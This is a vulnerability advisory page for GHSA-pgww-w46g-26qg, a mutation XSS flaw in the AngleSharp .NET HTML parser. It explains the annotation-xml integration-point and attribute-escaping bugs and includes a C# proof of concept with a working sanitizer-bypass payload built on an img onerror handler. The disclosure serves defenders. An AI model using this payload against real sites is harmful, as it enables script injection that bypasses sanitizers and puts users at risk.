Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-pgww-w46g-26qg

MediumCVSS 6.9 / 10
Published Jul 17, 2026·Last modified Jul 17, 2026
Affected Components(0)

No affected components available

Description

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

  • Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
  • Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Risk Scores
Base Score
6.9

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
6.3

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard